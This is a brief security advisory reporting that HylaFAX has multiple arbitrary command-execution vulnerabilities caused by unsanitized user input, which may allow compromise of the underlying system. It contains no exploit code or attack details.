HylaFAX is vulnerable to multiple arbitrary command-execution vulnerabilities. This issue is due to a failure in the application to properly sanitize user-supplied input.

These vulnerabilities allow an attacker to execute arbitrary commands in the context of the affected application. Successful exploitation may facilitate a compromise of the underlying system.
